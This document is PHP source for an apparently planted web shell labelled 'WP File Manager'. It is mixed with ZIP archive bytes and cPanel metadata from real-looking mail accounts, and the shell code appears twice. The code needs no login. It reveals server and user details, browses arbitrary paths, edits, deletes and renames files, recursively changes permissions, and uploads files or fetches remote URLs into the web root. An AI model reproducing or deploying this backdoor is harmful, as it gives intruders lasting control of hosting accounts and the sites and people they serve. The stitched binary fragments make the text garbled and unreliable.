WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]m2ûBB(montenegro@dunyagozbalkans.com/.metadatanu"º] €[addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK [calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 PK“&{]Æ۬ãBBinfo@drlinda.al/.metadatanu„[µü¤[addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK [calendar] type VCALENDAR description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 PK“&{]„N9³§Ë§Ëinfo@drlinda.al/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

